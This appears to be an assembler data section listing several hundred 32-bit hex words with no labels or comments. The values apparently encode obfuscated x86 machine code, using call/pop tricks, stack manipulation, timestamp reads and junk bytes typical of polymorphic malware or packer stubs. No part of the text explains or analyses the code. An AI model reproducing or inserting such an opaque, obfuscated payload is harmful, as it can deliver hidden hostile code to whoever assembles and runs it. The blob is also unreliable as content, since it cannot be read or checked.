		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0C1849AF7h, 4DBC8188h, 0EE9h, 0DDBE8400h
		dd 0A3C5EFD5h, 0A36620D8h, 0FF8AEB73h, 2803FD95h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0C2910005h, 9A6AF3BEh, 0E85090F9h, 8, 837B66E8h, 909B1A65h
		dd 6A905Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BF6617C3h, 0BD8B666Eh, 6280CDDh,	41DE9h
		dd 6A00B000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 3F04C357h, 9FBE66BEh, 6A70E6C2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 9A14C351h, 60347A83h, 0DE971E4h, 0D0000000h
		dd 5A4F764Ah, 25925D14h, 2FBD3C6Ah, 6AD8B60Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 9084C352h, 65EB544Fh, 0C079C972h, 6BAh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0E04732Eh, 0E799BA59h, 0C38B251Ah, 3C07BE66h, 0E904E8C1h
		dd 0Ch,	0E498FF48h, 0A77F94EAh,	4B61AC4Bh, 6AE2F766h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0E6E7C357h, 355A26FEh, 9E9h,	0A014FF00h, 0EC19A314h
		dd 0D82B1FF6h, 93F3B70Fh, 4850F60h, 66000000h, 0E98F4CB9h
		dd 7, 0DE8DF63Ah, 614A8FD7h, 93FB8B50h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 94C35242h, 1ED90862h
		dd 0FF4D751Eh, 280DC1B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0C53FB1DBh
		dd 9CE7BBF3h, 95FF3667h, 6280465h, 34E5BD8Bh, 0B00628h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E5C35343h
		dd 26B1BD8Bh, 0BD8B0628h, 628043Dh, 96BF70E6h, 0E40D62B8h
		dd 51006A71h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 9B0A272Fh, 39D93DE0h, 0EE8h, 4D118700h
		dd 430729A7h, 0AAA102B9h, 0FE81108h, 3C5FFFB7h,	33830F61h
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0CE67C350h, 60BA6760h,	2B1BD8Bh
		dd 0B5890628h, 6282149h, 0D8B60F61h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 35C35545h, 0BF0F8B1Ah, 8D9509F3h
		dd 0BA062816h, 6, 4175DF81h, 0C38B39A0h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 89C35242h, 0B70F6080h
		dd 68E0FFEh, 8B000000h,	281FA585h, 0E8C16106h, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 66D9A98Eh, 0B58BE2F7h, 62819D5h, 6AD82Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0FE9D60C3h
		dd 0BD8BB313h, 6282539h, 0F0BE6658h, 0FD82B4Dh,	14188h
		dd 830F6000h, 6, 26319589h, 81570628h, 0D78B2DAh, 0B9615E5Fh
		dd 7, 6600C183h, 0D93BF38Bh, 118860Fh, 6A0000h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0FD8CFBC3h, 918B5298h, 0A8BE66BBh, 0F08B661Bh, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 9B3EC357h, 0C189B2B4h, 0D93419DBh, 0F04C1F6h
		dd 7A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0B8270D20h, 0FFF98B66h, 2803FD95h
		dd 5BFE8B06h, 68B0Fh, 8D890000h, 6280C41h, 6AC32Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E800E6C3h, 0BA725CFDh, 0F2BF0FC4h, 8343Dh, 10860F00h
		dd 2B000000h, 2834C1BDh, 48E906h, 0C1BF0000h, 8B3D493Dh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 4DF05C5Bh, 55C02F10h, 0B58B7A23h, 6280795h
		dd 11E9h, 5B949600h, 400F64BDh,	43EEF723h, 67828196h, 0C38B7F0Ch
		dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0F9A6E1C3h, 0CE960h, 2FA50000h, 0DB69ABCFh
		dd 9CD06AE1h, 85C71CFEh, 6282BB5h, 528A01B7h, 2DED8589h
		dd 0C08B0628h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	73C35141h, 7783EDB6h, 0BD814701h, 6280DC1h, 7D0h
		dd 35850Fh, 8E90000h, 0B5000000h, 59FF0FE9h, 315D0A19h
		dd 280385B5h, 0C185FF06h, 6A06280Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FFC0C357h
		dd 280DC1B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 3AE10BB9h, 363EFCE3h, 15B58BB3h
		dd 0FF062813h, 28046595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0D487162Fh
		dd 0FBCB253Dh, 0E1BD8B64h, 90062804h, 7860Fh, 0BF0F0000h
		dd 616051F8h, 0B58B525Fh, 628246Dh, 0FE95Eh, 0BCCF0000h
		dd 638B3483h, 552FCB29h, 32BAF8E8h, 0FE8B6611h,	0CD958960h
		dd 61062816h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	89C35545h, 0E28E2120h, 893D3F99h, 2804259Dh, 0FDB50906h
		dd 66062805h, 0C645EF81h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0BFC35040h, 1420F6D7h, 0E9D46B23h, 6
		dd 0DF514EC7h, 0FE870E7h, 1D000000h, 3C70C6Fh, 5094D5E0h
		dd 0B4FC61D7h, 8D317F2Dh, 62826B9h, 5EF2BF0Fh, 8331BF66h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 62C35747h
		dd 0F25E4C3Fh, 0B72F9D03h, 37BE66F5h, 81BD8BE8h, 8906282Dh
		dd 28054D95h, 11E906h, 0AE290000h, 496487E6h, 380C927Ah
		dd 3FCECC05h, 660DF218h, 0BE66F08Bh, 0F2E99D82h, 33FFFFF7h
		dd 282141B5h, 199D8906h, 8B062809h, 4EBF9C1h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 83C35343h
		dd 87855A56h, 6AA4DDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 807D8C3h, 0FB4D6C4h, 858DF110h
		dd 6282C05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	89C35545h, 0E812A730h, 89F734DFh, 28256195h, 0BE669006h
		dd 50504148h, 66310F52h, 5ADF89BFh, 0B70F9058h,	6A006AFEh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0FA8DC355h, 65CAB3CDh, 0C6F6813Bh, 6A66FB42h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0A33BEE3Fh, 8D698E36h, 2BE0AE85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0DB57E85Ah, 6142A8C7h, 6810Fh, 0BD090000h, 6282C1Dh
		dd 0A598EE81h, 895075D6h, 2834CD8Dh, 0C0835F06h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 1756D606h, 6870FE1h,	81000000h, 897B55EFh, 0E1B58B6Dh
		dd 90062819h, 870F5250h, 3, 0FFA8B66h, 51BE6631h, 50585A7Ah
		dd 830Fh, 66900000h, 0FA62DE81h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 4A3F70C3h
		dd 0BEE8F3Bh, 2E3DBD23h, 0BD010628h, 628093Dh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 95FFAEC3h, 6282431h,	2929A3BFh, 0F39D8D2Ch, 6A062B94h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0DC85C357h, 92CF424h, 0BE6618B9h,	895267BCh
		dd 28215D8Dh, 0D3FF5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0D3C35545h, 0FFF98B58h, 28165985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0CCF348DBh, 0FDBD89FCh, 0E9062831h, 83Eh, 0E8h, 0ED815D00h
		dd 62BE0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	1CC35242h, 0BD81DEA7h, 6280DC1h, 7D0h, 171860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D8BFBC3h, 6282D91h, 535B58Bh, 0E3810628h
		dd 100h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	29C35040h, 0E4F96257h, 89735845h, 2806F18Dh, 0FDB0B06h
		dd 0A985h, 72BF6600h, 5FBD8316h, 62BDEh, 58840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 7A625EC3h, 145F26FDh, 4EE48060h, 28E0Fh, 0F28B0000h
		dd 91E961h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0CB8171C3h, 1D8558C7h, 85C79C60h
		dd 62BDE5Fh, 1,	0F860F78Bh, 59E961h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6E35C8C3h
		dd 8509E263h, 6281901h,	1149BD0Bh, 85C70628h, 62BDE5Fh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 83C35141h
		dd 0E5B5099Bh, 8D062810h, 282D919Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C3BE1255h
		dd 6E97597h, 7C000000h,	83CCC8D5h, 0FF238184h, 66FFFFFEh
		dd 661F8CBEh, 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 37D923C3h, 8A4AAC1Eh, 0BF66AAFFh
		dd 895216FEh, 2825E5BDh, 0C3F65E06h, 83840F04h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 66FEC356h, 0D4FEC681h, 3FD95FFh, 6A0628h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 9E4910C3h, 0A80EE55Ch, 0C99589D3h, 5006282Ch, 6E9h
		dd 2776E00h, 899F92FFh,	6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0F8FC05C3h, 183AD4DEh
		dd 0E2E9D3E7h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5406C356h, 0F1437F90h
		dd 0B09A7DF8h, 0B5B58900h, 0E6062816h, 0FA8B6670h, 6A71E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0B8806DC3h, 1C98C78Bh, 0BD8BC1F7h, 62800C1h,	89D8B60Fh
		dd 2808F585h, 6BA06h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 81DD7CC3h, 1C71BEF6h
		dd 8595893Bh, 8B06280Bh, 4E8C1C3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0F1C35141h,	6042210Ch, 0D9BD8B8Bh
		dd 31062820h, 28295985h, 0E2F76606h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 25C35343h, 3A380BEAh, 3698501h
		dd 0D82B0628h, 20818D89h, 7E90628h, 90000000h, 0B65A61CDh
		dd 66930CC6h, 50D17ABEh, 310F5250h, 0F93585Ah, 688h, 5D858900h
		dd 0FF06280Ch, 280DC1B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0E5B71FA7h
		dd 95FF4377h, 6280465h,	6A00B0F5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 31C9C353h
		dd 0E781664Ch, 70E68C1Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0D5C35747h, 0E79F403Bh, 31F947B0h, 28049995h
		dd 6A71E406h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0A81AC350h, 0A00B723Fh, 0F613C65h
		dd 21C83h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0E9FDCF11h, 0B60F7187h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 2DBD8B7Fh, 0BA06282Fh, 6, 14CDB589h,	0C38B0628h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ECC35545h, 3595896Eh
		dd 0C106280Fh, 666004E8h, 8533F18Bh, 62811B5h, 0E2F76661h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DEC35141h
		dd 9E9h, 2CDE4000h, 9586993Bh, 81606031h, 3D2266CAh, 0BD895202h
		dd 6282985h, 0D82B615Bh, 5DBD8B56h, 5F062824h, 2BF78B58h
		dd 46880FD8h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0ED70C356h,	5C7F438Dh
		dd 7FD781F4h, 0B90911DFh, 7, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 9EC35141h, 45BD8BB8h, 83062823h
		dd 0B52900C1h, 62826D9h, 3BF6B70Fh, 0E2860FD9h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0CBC9C350h, 0A59D290Fh, 0F8062825h, 0F6D98C66h
		dd 840F04C1h, 84h, 2958589h, 95FF0628h,	62803FDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3EC35646h, 0B6E9EAF3h
		dd 90EEF2CBh, 0B9BD8909h, 5B062818h, 0F60C32Bh,	385h, 0D1BF0F00h
		dd 61FBBF0Fh, 343D5F52h, 0F000008h, 2F86h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0D5602C7Dh, 0B0BA8614h, 33E930h, 0BD8B0000h,	628240Dh
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0F774F6C3h, 425E5C89h, 0BD8B5087h, 6281F51h
		dd 8BC38B5Fh, 0FBB70FD8h, 25B585C7h, 539D0628h,	0B58B3FBBh
		dd 6281975h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 4C6FDDC3h, 0D552CAEEh, 840FB74Eh
		dd 6, 24DD9D29h, 0BD810628h, 6280DC1h, 7D0h, 2F850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0FFF5A7C3h, 280DC185h, 21B58B06h, 81062826h,	0D2117CF6h
		dd 0C1B5FF03h, 2906280Dh, 28076D85h, 6595FF06h,	89062804h
		dd 28147995h, 81669006h, 1BF20C6h, 282DA9B5h, 0A3BF6606h
		dd 56006A79h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0CE9C9h,	46600000h, 565107D7h, 0A7860BA8h
		dd 0BE66CA18h, 10E8EDBAh, 0D5000000h, 761FE0EDh, 0FA96CACAh
		dd 0D35825B8h, 31C14493h, 2828ED85h, 618D2906h,	5F06280Dh
		dd 6698D31h, 0BD8B0628h, 628131Dh, 6C78166h, 0ACBE6698h
		dd 50006A79h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 3647D786h, 8BF9FD9Ah, 282719B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 9482BC40h, 60AB3F17h, 14E9h,	0B7B79100h, 85A5158Dh
		dd 222462D8h, 33F04211h, 87B378C9h, 31F08B2Bh, 28028D85h
		dd 85896106h, 6280F99h,	31E58D89h, 0BE90628h, 0C1000000h
		dd 563C150Ah, 0BE70992Dh, 9D89C611h, 628322Dh, 0FFF803E9h
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 1554E23h, 2EA98589h, 66F80628h, 666455BEh
		dd 0FE9F18Bh, 49000000h, 0C8D6B0F0h, 7D3814B7h,	42E0DA5Ah
		dd 0C18B9EE9h, 0FB1B58Bh, 4EB0628h, 0
		dd 1ED9589h, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 609ADBC3h, 2C05858Dh, 0CBBF0628h
		dd 900E91CBh, 52506053h, 585A310Fh, 66505F61h, 8190F38Bh
		dd 2A6E8EDFh, 6A006A58h, 0F5B53300h, 8D062800h,	2BEA6A85h
		dd 8E85306h, 76000000h,	3FAADE96h, 0FE7BD44h, 81h, 835F5E00h
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 214C18C3h, 0C744F902h, 508A748Bh,	0FE9h
		dd 0E0259000h, 0E7971527h, 0E3315638h, 40E9BCBDh, 89240489h
		dd 282EE5BDh, 0F3BF0F06h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 1CA8B1C3h, 64ED1127h
		dd 1ECDBD8Bh, 0FE8B0628h, 890F006Ah, 6,	5399C781h, 95FF0B2Bh
		dd 6282431h, 4830Fh, 0BE660000h, 6E8DD76h, 94000000h, 0C4CEE3ECh
		dd 5E94Ch, 83660000h, 5E657526h, 94F39D8Dh, 6A062Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FF4183C3h, 52006AD3h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 3E41353Dh, 0FF6DBC21h
		dd 28165985h, 0D68B6006h, 81E5E081h, 0E9614F98h, 839h
		dd 0E8h, 0ED815D00h, 62BEA74h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 8AC35141h, 0CCF348DBh, 1471B589h
		dd 0BD810628h, 6280DC1h, 7D0h, 1B4860Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0D32E0DC3h, 43D60DE9h, 0F1F79FEh, 68Dh, 0B9858900h
		dd 8B062818h, 282B399Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 3A7EF057h, 823E300Ah
		dd 870F8F0Eh, 0
		dd 100E381h, 0B58B0000h, 6283335h, 850FDB0Bh, 0CAh, 90593ABEh
		dd 55BD3129h, 83062814h, 2BE8FBBDh, 840F0006h, 55h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h, 0AAE9F80Ah
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0CBB1C352h, 915D4D97h,	4C3F6295h
		dd 8E9h, 3D80D800h, 5DA2FB39h, 0FB85C7C0h, 1062BE8h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 5B1BC351h, 82DCBB2Ah, 49D6E374h, 44E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 8412CB16h, 941A6F9h,	386BCE81h, 85C7551Dh, 62BE8FBh
		dd 0
		dd 0CE9h, 7CEF1600h, 0B447C55Bh, 908EFF8Eh, 399D8D69h
		dd 6A06282Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 329FC355h, 0E13AEF04h,	0FF2381F9h
		dd 6AFFFFFEh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0CE38C357h, 71739193h,	0C9A193DEh
		dd 24D59501h, 8C660628h, 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0A1A5A902h, 0E378BE66h
		dd 921B58Bh, 0C3F60628h, 30840F04h, 9000000h, 28222D8Dh
		dd 0FD95FF06h, 89062803h, 28055D95h, 52509006h,	840Fh
		dd 310F0000h, 2	dup(310F5250h),	585A585Ah, 9050585Ah, 0E9FE8B66h
		dd 3F1h, 18B0Fh, 0B0F90000h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 4E67242Dh
		dd 22B134B1h, 0B58B7BDCh, 6280535h, 8D8970E6h, 6282E59h
		dd 131D9531h, 71E40628h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 6EC35040h, 1143DFCDh,	78206AD1h, 0D8B60F50h
		dd 0AE9h, 9C4DC400h, 61C232C5h,	0BAE85B81h, 6, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BBC35545h, 0FC154AB9h
		dd 60AF4668h, 2A959589h, 61F80628h, 0E8C1C38Bh,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 2ED02C8Dh, 79B50B78h, 66062823h, 6AE2F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0DE0BC0C3h
		dd 29B74385h, 698D89F7h, 2B062817h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 29622717h
		dd 0DE9B4h, 13BD0000h, 6B39CD78h, 767A3BAh, 506BAB21h
		dd 0F241C89h, 0B5FFF1B7h, 6280DC1h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0EC35747h, 13D7F2CAh, 6595FF5Ah
		dd 53062804h, 48B0Fh, 0BE660000h, 895F6A9Dh, 281EF585h
		dd 8B00B006h, 2819B5B5h, 6A70E606h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 1500C351h
		dd 0C96785FAh, 92FC9744h, 8529F860h, 6280225h, 0F1B58B61h
		dd 0E406280Bh, 81950171h, 3C062812h, 26830F61h,	6A000002h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0FD9DC352h, 0EC0D4FBFh, 0B523618Ah, 62806C9h
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4F00C355h, 0E924FFC4h,	0E0EAF838h
		dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8BDCD18Bh, 658589C3h, 0C1062809h
		dd 8BF504E8h, 280601B5h, 0E2F76606h, 2C31B589h,	0D82B0628h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7C35343h
		dd 0D89853EEh, 8B66E8FFh, 6A58F2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 13CAEC3h, 816BA3DEh
		dd 87D8FFEEh, 6870F1Fh,	89000000h, 28165585h, 0FD82B06h
		dd 13488h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 4533ACFDh, 0B0A4D7FDh, 0B9F18B7Ah
		dd 7, 83FFBF0Fh, 6A00C1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0EC52CBC3h, 0FE8B55E1h
		dd 860FD93Bh, 0D9h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0C8C35141h, 89020732h, 282B0195h, 0D98C6606h
		dd 0F6F2BF0Fh, 840F04C1h, 9Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 96C35242h, 0D1CF358Bh, 8B53F698h
		dd 2826D9B5h, 0FD95FF06h, 89062803h, 28015185h,	0F08B5B06h
		dd 0B58BC32Bh, 6282499h, 8343Dh, 52860F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 85B8C350h, 0F07D7EBDh, 0E9A67EC4h, 31h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 29C35747h, 9ED0FC1Dh
		dd 295E0385h, 2829A1BDh, 31C08B06h, 2809718Dh, 8BC38B06h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 9589486Ch, 62824CDh, 830Fh, 85C70000h, 6282D91h
		dd 1944AB37h, 0C18B6060h, 61D2B70Fh, 1D65B529h,	8B610628h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 933F8FF2h, 0BD8B5230h, 62818C9h,	0C1BD815Eh
		dd 0D006280Dh, 0F000007h, 1585h, 0EDB58B00h, 0FF062814h
		dd 280DC185h, 0B7BF6606h, 0D6816617h, 0B5FF0435h, 6280DC1h
		dd 2CEAEE81h, 95FF65EAh, 6280465h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 4FC35545h, 11B1B58Bh, 6A900628h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 2A8DC351h, 6A8516FDh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 91C355h
		dd 61B589ADh, 6A062825h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 4C76C352h, 0F6819547h
		dd 636E182Bh, 341B52Bh,	66600628h, 34FC7BBh, 2821D9B5h
		dd 0C6816606h, 161C7BDh, 280711BDh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 890AADAFh
		dd 282651B5h, 7FDF8106h, 8B4D09E7h, 280EE5B5h, 61B58B06h
		dd 6A062824h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 13D9C352h, 0BD3F19D4h,	318C0FE0h
		dd 1E74D681h, 6A5C8Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0E0713DC3h, 8E568FB3h, 270EBE66h
		dd 0C9DBE781h, 0CDE95309h, 31FFFFF7h, 282A8DBDh, 33C18B06h
		dd 280501B5h, 4EB06h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 3C98C352h, 209FE34Bh
		dd 800FFA67h, 2, 858DFB8Bh, 6282C05h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0D2C35040h,	8B6650F5h, 240489F8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4BC35141h
		dd 400CDABEh, 1DC78186h, 337FD593h, 28228DB5h, 0F006A06h
		dd 587h, 3187BF00h, 81663D69h, 6AA303EFh, 0D6858D00h, 6A062BF4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FC60C356h, 26399D89h, 83FC0628h,	6A05C0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 25C916C3h, 8BB06BDFh, 2833C5B5h, 6E85206h, 49000000h
		dd 0A900AD9Dh, 830F0Bh,	5F000000h, 0F18B505Eh, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 68FDC351h, 81F78B01h, 0BDC9FED6h,	0E8006A6Ah
		dd 0Fh,	7A99F704h, 0C4500B42h, 158FC8DEh, 8BB9FF2Fh, 282D09B5h
		dd 12E85E06h
		dd 0FD000000h, 3DB6C30Fh, 0BC8E33DFh, 0D13CDED0h, 0F5D981EFh
